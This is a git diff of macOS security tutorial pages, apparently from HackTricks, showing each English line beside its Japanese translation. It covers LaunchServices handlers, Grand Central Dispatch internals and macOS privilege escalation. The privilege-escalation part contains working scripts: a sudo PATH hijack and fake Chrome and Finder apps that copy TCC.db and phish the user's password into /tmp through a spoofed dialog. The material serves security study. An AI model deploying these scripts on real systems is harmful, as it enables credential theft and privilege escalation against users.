If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution).
## 大規模
予期しないバイナリにライブラリを注入しようと計画している場合は、ライブラリがプロセス内で読み込まれるタイミングを確認するためにイベントメッセージをチェックできます（この場合、printfと`/bin/bash`の実行を削除します）。
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{{#include ../../banners/hacktricks-training.md}}

82
src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md
View File

@ -1,72 +1,64 @@
# macOS File Extension & URL scheme app handlers
# macOS ファイル拡張子 & URL スキームアプリハンドラー
{{#include ../../banners/hacktricks-training.md}}
## LaunchServices Database
## LaunchServices データベース
This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types.
It's possible to dump this datase with:
これは、macOS にインストールされているすべてのアプリケーションのデータベースで、サポートされている URL スキームや MIME タイプなど、各インストールされたアプリケーションに関する情報を取得するためにクエリできます。
このデータベースをダンプすることが可能です:
```
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump
```
Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others.
**`/usr/libexec/lsd`** はデータベースの中枢です。これは、`.lsd.installation`、`.lsd.open`、`.lsd.openurl` などの **いくつかの XPC サービス** を提供します。しかし、これらの公開された XPC 機能を使用するためには、アプリケーションにいくつかの権限が必要です。例えば、mime タイプや URL スキームのデフォルトアプリを変更するための `.launchservices.changedefaulthandler` や `.launchservices.changeurlschemehandler` などです。
**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/System/Library/CoreServices/launchservicesd`** はサービス `com.apple.coreservices.launchservicesd` を主張し、実行中のアプリケーションに関する情報を取得するためにクエリできます。これは、システムツール /**`usr/bin/lsappinfo`** または [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) を使用してクエリできます。
## File Extension & URL scheme app handlers
The following line can be useful to find the applications that can open files depending on the extension:
## ファイル拡張子と URL スキームアプリハンドラー
次の行は、拡張子に応じてファイルを開くことができるアプリケーションを見つけるのに役立ちます:
```bash
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
```
Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
または、[**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps)のようなものを使用します：
```bash
./swda getSchemes #Get all the available schemes
./swda getApps #Get all the apps declared
./swda getUTIs #Get all the UTIs
./swda getHandler --URL ftp #Get ftp handler
```
You can also check the extensions supported by an application doing:
アプリケーションがサポートしている拡張子を確認するには、次のようにします:
```
cd /Applications/Safari.app/Contents
grep -A3 CFBundleTypeExtensions Info.plist | grep string
<string>css</string>
<string>pdf</string>
<string>webarchive</string>
<string>webbookmark</string>
<string>webhistory</string>
<string>webloc</string>
<string>download</string>
<string>safariextz</string>
<string>gif</string>
<string>html</string>
<string>htm</string>
<string>js</string>
<string>jpg</string>
<string>jpeg</string>
<string>jp2</string>
<string>txt</string>
<string>text</string>
<string>png</string>
<string>tiff</string>
<string>tif</string>
<string>url</string>
<string>ico</string>
<string>xhtml</string>
<string>xht</string>
<string>xml</string>
<string>xbl</string>
<string>svg</string>
<string>css</string>
<string>pdf</string>
<string>webarchive</string>
<string>webbookmark</string>
<string>webhistory</string>
<string>webloc</string>
<string>download</string>
<string>safariextz</string>
<string>gif</string>
<string>html</string>
<string>htm</string>
<string>js</string>
<string>jpg</string>
<string>jpeg</string>
<string>jp2</string>
<string>txt</string>
<string>text</string>
<string>png</string>
<string>tiff</string>
<string>tif</string>
<string>url</string>
<string>ico</string>
<string>xhtml</string>
<string>xht</string>
<string>xml</string>
<string>xbl</string>
<string>svg</string>
```
{{#include ../../banners/hacktricks-training.md}}

210
src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
View File

@ -2,182 +2,175 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware.
**Grand Central Dispatch (GCD)**、別名 **libdispatch** (`libdispatch.dyld`) は、macOS と iOS の両方で利用可能です。これは、Apple が開発した技術で、マルチコアハードウェア上での並行（マルチスレッド）実行のためのアプリケーションサポートを最適化します。
**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores.
**GCD** は、アプリケーションが **ブロックオブジェクト** の形で **タスクを提出** できる **FIFO キュー** を提供し、管理します。ディスパッチキューに提出されたブロックは、システムによって完全に管理されるスレッドプール上で **実行されます**。GCD は、ディスパッチキュー内のタスクを実行するためのスレッドを自動的に作成し、利用可能なコアでそれらのタスクを実行するようにスケジュールします。
> [!TIP]
> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary).
> 要約すると、**並行して** コードを実行するために、プロセスは **GCD にコードのブロックを送信** でき、GCD がその実行を管理します。したがって、プロセスは新しいスレッドを作成せず、**GCD が独自のスレッドプールで指定されたコードを実行します**（必要に応じて増減する可能性があります）。
This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way.
これは、並行実行を成功裏に管理するのに非常に役立ち、プロセスが作成するスレッドの数を大幅に削減し、並行実行を最適化します。これは、**大きな並行性**（ブルートフォース？）を必要とするタスクや、メインスレッドをブロックすべきでないタスクに理想的です。たとえば、iOS のメインスレッドは UI インタラクションを処理するため、アプリをハングさせる可能性のある他の機能（検索、ウェブへのアクセス、ファイルの読み取りなど）はこの方法で管理されます。
### Blocks
### ブロック
A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\
However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures:
ブロックは、**自己完結型のコードセクション**（引数を持ち、値を返す関数のようなもの）であり、バウンド変数を指定することもできます。\
ただし、コンパイラレベルではブロックは存在せず、`os_object` です。これらのオブジェクトは、2 つの構造体で構成されています：
- **block literal**:&#x20;
- It starts by the **`isa`** field, pointing to the block's class:
- `NSConcreteGlobalBlock` (blocks from `__DATA.__const`)
- `NSConcreteMallocBlock` (blocks in the heap)
- `NSConcreateStackBlock` (blocks in stack)
- It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes
- The function pointer to call
- A pointer to the block descriptor
- Block imported variables (if any)
- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags)
- It has some reserved bytes
- The size of it
- It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`)
- If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it).
- **ブロックリテラル**:&#x20;
- **`isa`** フィールドで始まり、ブロックのクラスを指します：
- `NSConcreteGlobalBlock`（`__DATA.__const` からのブロック）
- `NSConcreteMallocBlock`（ヒープ内のブロック）
- `NSConcreateStackBlock`（スタック内のブロック）
- **`flags`**（ブロックディスクリプタに存在するフィールドを示す）といくつかの予約バイト
- 呼び出すための関数ポインタ
- ブロックディスクリプタへのポインタ
- インポートされた変数（ある場合）
- **ブロックディスクリプタ**：そのサイズは、前述のフラグで示されるデータに依存します
- いくつかの予約バイト
- そのサイズ
- 通常、パラメータに必要なスペースを知るための Objective-C スタイルのシグネチャへのポインタを持ちます（フラグ `BLOCK_HAS_SIGNATURE`）
- 変数が参照されている場合、このブロックは値を最初にコピーするためのコピー補助関数と解放するための解放補助関数へのポインタも持ちます。
### Queues
### キュー
A dispatch queue is a named object providing FIFO ordering of blocks for executions.
ディスパッチキューは、実行のためのブロックの FIFO 順序を提供する名前付きオブジェクトです。
Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**.
ブロックはキューにセットされて実行され、これには 2 つのモードがサポートされています：`DISPATCH_QUEUE_SERIAL` と `DISPATCH_QUEUE_CONCURRENT`。もちろん、**シリアル**な方は **レースコンディション** の問題を持たず、ブロックは前のものが終了するまで実行されません。しかし、**もう一方のタイプのキューはそれを持つ可能性があります**。
Default queues:
デフォルトのキュー：
- `.main-thread`: From `dispatch_get_main_queue()`
- `.libdispatch-manager`: GCD's queue manager
- `.root.libdispatch-manager`: GCD's queue manager
- `.root.maintenance-qos`: Lowest priority tasks
- `.main-thread`: `dispatch_get_main_queue()` から
- `.libdispatch-manager`: GCD のキュー管理者
- `.root.libdispatch-manager`: GCD のキュー管理者
- `.root.maintenance-qos`: 最低優先度のタスク
- `.root.maintenance-qos.overcommit`
- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND`
- `.root.background-qos`: `DISPATCH_QUEUE_PRIORITY_BACKGROUND` として利用可能
- `.root.background-qos.overcommit`
- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`
- `.root.utility-qos`: `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` として利用可能
- `.root.utility-qos.overcommit`
- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT`
- `.root.default-qos`: `DISPATCH_QUEUE_PRIORITY_DEFAULT` として利用可能
- `.root.background-qos.overcommit`
- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH`
- `.root.user-initiated-qos`: `DISPATCH_QUEUE_PRIORITY_HIGH` として利用可能
- `.root.background-qos.overcommit`
- `.root.user-interactive-qos`: Highest priority
- `.root.user-interactive-qos`: 最高優先度
- `.root.background-qos.overcommit`
Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point)
どのスレッドがどのキューを処理するかは **システムが決定する** ことに注意してください（複数のスレッドが同じキューで作業することもあれば、同じスレッドが異なるキューで作業することもあります）。
#### Attributtes
#### 属性
When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue.
**`dispatch_queue_create`** を使用してキューを作成する際、3 番目の引数は `dispatch_queue_attr_t` で、通常は `DISPATCH_QUEUE_SERIAL`（実際には NULL）または `DISPATCH_QUEUE_CONCURRENT` で、これはキューのいくつかのパラメータを制御するための `dispatch_queue_attr_t` 構造体へのポインタです。
### Dispatch objects
### ディスパッチオブジェクト
There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`:
libdispatch が使用するオブジェクトは複数あり、キューとブロックはそのうちの 2 つです。これらのオブジェクトは `dispatch_object_create` で作成可能です：
- `block`
- `data`: Data blocks
- `group`: Group of blocks
- `io`: Async I/O requests
- `mach`: Mach ports
- `mach_msg`: Mach messages
- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues
- `data`: データブロック
- `group`: ブロックのグループ
- `io`: 非同期 I/O リクエスト
- `mach`: Mach ポート
- `mach_msg`: Mach メッセージ
- `pthread_root_queue`: pthread スレッドプールを持つキューで、作業キューではありません
- `queue`
- `semaphore`
- `source`: Event source
- `source`: イベントソース
## Objective-C
In Objetive-C there are different functions to send a block to be executed in parallel:
Objective-C では、ブロックを並行して実行するために送信するための異なる関数があります：
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately.
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing.
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application.
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block.
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): ディスパッチキューで非同期実行のためにブロックを提出し、すぐに戻ります。
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): 実行のためにブロックオブジェクトを提出し、そのブロックの実行が終了した後に戻ります。
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): アプリケーションのライフタイム中にブロックオブジェクトを一度だけ実行します。
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): 実行のために作業項目を提出し、実行が終了するまで戻りません。[**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync) とは異なり、この関数はブロックを実行する際にキューのすべての属性を尊重します。
These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
This is the **struct of a Block**:
これらの関数は次のパラメータを期待します：[**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
これが **ブロックの構造体** です：
```c
struct Block {
void *isa; // NSConcreteStackBlock,...
int flags;
int reserved;
void *invoke;
struct BlockDescriptor *descriptor;
// captured variables go here
void *isa; // NSConcreteStackBlock,...
int flags;
int reserved;
void *invoke;
struct BlockDescriptor *descriptor;
// captured variables go here
};
```
And this is an example to use **parallelism** with **`dispatch_async`**:
これは**`dispatch_async`**を使用した**parallelism**の例です：
```objectivec
#import <Foundation/Foundation.h>
// Define a block
void (^backgroundTask)(void) = ^{
// Code to be executed in the background
for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task
}
// Code to be executed in the background
for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task
}
};
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
@autoreleasepool {
// Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
// Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask);
// Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask);
// Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task
}
}
return 0;
// Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task
}
}
return 0;
}
```
## Swift
**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\
The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD.
**`libswiftDispatch`** は、元々Cで書かれたGrand Central Dispatch (GCD)フレームワークへの**Swiftバインディング**を提供するライブラリです。\
**`libswiftDispatch`** ライブラリは、C GCD APIをよりSwiftに優しいインターフェースでラップし、Swift開発者がGCDを扱いやすく、直感的にすることを可能にします。
- **`DispatchQueue.global().sync{ ... }`**
- **`DispatchQueue.global().async{ ... }`**
- **`let onceToken = DispatchOnce(); onceToken.perform { ... }`**
- **`async await`**
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
**Code example**:
```swift
import Foundation
// Define a closure (the Swift equivalent of a block)
let backgroundTask: () -> Void = {
for i in 0..<10 {
print("Background task \(i)")
sleep(1) // Simulate a long-running task
}
for i in 0..<10 {
print("Background task \(i)")
sleep(1) // Simulate a long-running task
}
}
// Entry point
autoreleasepool {
// Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask)
// Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask)
// Continue with other work on the main queue
for i in 0..<10 {
print("Main task \(i)")
sleep(1) // Simulate a long-running task
}
// Continue with other work on the main queue
for i in 0..<10 {
print("Main task \(i)")
sleep(1) // Simulate a long-running task
}
}
```
## Frida
The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
次のFridaスクリプトは、**いくつかの`dispatch`**関数にフックし、キュー名、バックトレース、およびブロックを抽出するために使用できます: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
```bash
frida -U <prog_name> -l libdispatch.js
@ -190,12 +183,11 @@ Backtrace:
0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:]
[...]
```
## Ghidra
Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one.
現在、GhidraはObjectiveC **`dispatch_block_t`** 構造体も、**`swift_dispatch_block`** 構造体も理解していません。
So if you want it to understand them, you could just **declare them**:
したがって、これらを理解させたい場合は、単に**宣言する**ことができます：
<figure><img src="../../images/image (1160).png" alt="" width="563"><figcaption></figcaption></figure>
@ -203,18 +195,18 @@ So if you want it to understand them, you could just **declare them**:
<figure><img src="../../images/image (1163).png" alt="" width="563"><figcaption></figcaption></figure>
Then, find a place in the code where they are **used**:
次に、コード内でそれらが**使用されている**場所を見つけます：
> [!TIP]
> Note all of references made to "block" to understand how you could figure out that the struct is being used.
> "block"に関するすべての参照をメモして、構造体がどのように使用されているかを理解してください。
<figure><img src="../../images/image (1164).png" alt="" width="563"><figcaption></figcaption></figure>
Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**:
変数を右クリック -> 変数の再タイプを選択し、この場合は**`swift_dispatch_block`**を選択します：
<figure><img src="../../images/image (1165).png" alt="" width="563"><figcaption></figcaption></figure>
Ghidra will automatically rewrite everything:
Ghidraは自動的にすべてを書き換えます：
<figure><img src="../../images/image (1166).png" alt="" width="563"><figcaption></figcaption></figure>

154
src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
View File

@ -1,10 +1,10 @@
# macOS Privilege Escalation
# macOS特権昇格
{{#include ../../banners/hacktricks-training.md}}
## TCC Privilege Escalation
## TCC特権昇格
If you came here looking for TCC privilege escalation go to:
TCC特権昇格を探している場合は、次に進んでください：
{{#ref}}
macos-security-protections/macos-tcc/
@ -12,26 +12,25 @@ macos-security-protections/macos-tcc/
## Linux Privesc
Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see:
**特権昇格に関するほとんどのトリックはLinux/Unixに影響を与えるものであり、MacOSにも影響を与えます**ので、次を参照してください：
{{#ref}}
../../linux-hardening/privilege-escalation/
{{#endref}}
## User Interaction
## ユーザーインタラクション
### Sudo Hijacking
### Sudoハイジャック
You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking).
However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:**
元の[Sudoハイジャック技術はLinux特権昇格の投稿内にあります](../../linux-hardening/privilege-escalation/#sudo-hijacking)。
しかし、macOSは**`sudo`**を実行する際にユーザーの**`PATH`**を**維持**します。つまり、この攻撃を達成する別の方法は、**被害者がsudoを実行する際に実行する他のバイナリをハイジャックする**ことです：
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
ユーザーがターミナルを使用している場合、**Homebrewがインストールされている**可能性が非常に高いです。したがって、**`/opt/homebrew/bin`**内のバイナリをハイジャックすることが可能です。
Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**.
### Dockのなりすまし
### Dock Impersonation
Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script:
いくつかの**ソーシャルエンジニアリング**を使用して、Dock内で**Google Chromeのなりすまし**を行い、実際に自分のスクリプトを実行することができます：
{{#tabs}}
{{#tab name="Chrome Impersonation"}}
Some suggestions:
- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array.&#x20;
いくつかの提案：
- Dock内にChromeがあるか確認し、その場合はそのエントリを**削除**し、Dock配列の**同じ位置に****偽の**Chromeエントリを**追加**します。&#x20;
```bash
#!/bin/sh
@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <unistd.h>
int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{{#endtab}}
{{#tab name="Finder Impersonation"}}
Some suggestions:
- You **cannot remove Finder from the Dock**, so if you are going to add it to the Dock, you could put the fake Finder just next to the real one. For this you need to **add the fake Finder entry at the beginning of the Dock array**.
- Another option is to not place it in the Dock and just open it, "Finder asking to control Finder" is not that weird.
- Another options to **escalate to root without asking** the password with a horrible box, is make Finder really ask for the password to perform a privileged action:
- Ask Finder to copy to **`/etc/pam.d`** a new **`sudo`** file (The prompt asking for the password will indicate that "Finder wants to copy sudo")
- Ask Finder to copy a new **Authorization Plugin** (You could control the file name so the prompt asking for the password will indicate that "Finder wants to copy Finder.bundle")
いくつかの提案：
- **FinderをDockから削除することはできない**ので、Dockに追加する場合は、偽のFinderを本物のFinderのすぐ隣に置くことができます。そのためには、**Dock配列の最初に偽のFinderエントリを追加する必要があります**。
- 別のオプションは、Dockに置かずにただ開くことで、「FinderがFinderを制御するように求めています」はそれほど奇妙ではありません。
- パスワードを尋ねるひどいボックスなしで**rootに昇格する**別のオプションは、Finderに本当に特権アクションを実行するためのパスワードを要求させることです：
- Finderに**`/etc/pam.d`**に新しい**`sudo`**ファイルをコピーするように依頼します（パスワードを尋ねるプロンプトは「Finderがsudoをコピーしたい」と示します）。
- Finderに新しい**Authorization Plugin**をコピーするように依頼します（ファイル名を制御できるので、パスワードを尋ねるプロンプトは「FinderがFinder.bundleをコピーしたい」と示します）。
```bash
#!/bin/sh
@ -153,13 +148,13 @@ cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <unistd.h>
int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{{#endtab}}
{{#endtabs}}
## TCC - Root Privilege Escalation
## TCC - ルート特権昇格
### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation
